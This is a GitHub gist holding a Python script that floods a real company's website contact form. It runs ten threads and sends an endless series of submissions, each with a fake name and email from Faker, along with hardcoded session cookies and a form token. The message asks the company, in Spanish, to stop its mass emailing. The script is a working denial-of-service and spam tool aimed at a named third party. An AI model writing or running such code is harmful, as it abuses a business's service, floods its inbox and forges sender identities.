Skip to content

Instantly share code, notes, and snippets.

@armonge
Created August 28, 2014 21:18
Show Gist options
  • Save armonge/2d3755b6e7f856df048f to your computer and use it in GitHub Desktop.
Save armonge/2d3755b6e7f856df048f to your computer and use it in GitHub Desktop.
import requests
from concurrent import futures
from faker import Factory
import functools
from collections import namedtuple
fake = Factory.create()
url = 'http://www.solucionescamelot.com/index.php/contactenos'
DataTuple = namedtuple('DataTuple', ['email', 'name'])
def data_gen():
while True:
yield DataTuple(fake.email(), fake.name())
def send_mail(data, session=requests.Session()):
session.data['jform[contact_name]'] = data.name
session.data['jform[contact_email]'] = data.email
response = session.post(url)
return response.text
def main():
session = requests.Session()
session.cookies = {
'__cfduid': 'da4c4d9ff684f99a73c67ca6bc77b012d1407181888443',
'dea392fa4330968ed8e78f0e9b05bd8d': 'hgi20hgoj7rr9rorsd8r61vu80',
'_ga': 'GA1.2.1386618926.1407182001'
}
session.headers = {
'Origin': 'http://www.solucionescamelot.com',
'Accept-Encoding': 'gzip,deflate',
'Accept-Language': 'es,en;q=0.8',
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.94 Safari/537.36',
'Content-Type': 'application/x-www-form-urlencoded',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Cache-Control': 'max-age=0',
'Referer': 'http://www.solucionescamelot.com/index.php/contactenos',
'Connection': 'keep-alive'
}
session.data = {
'jform[contact_subject]': 'Envios masivos',
'jform[contact_message]': 'Podrían dejar de enviar tantos correos al día',
'option': 'com_contact',
'task': 'contact.submit',
'return': '',
'id': '1:contactos',
'4538b31bcdaa8803df6f05d81cf91d69': 1
}
_send_mail = functools.partial(send_mail, session=session)
with futures.ThreadPoolExecutor(max_workers=10) as e:
for response in e.map(_send_mail, data_gen()):
print('.', end='', flush=True)
if __name__ == '__main__':
main()
fake-factory==0.4.2
requests==2.3.0
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment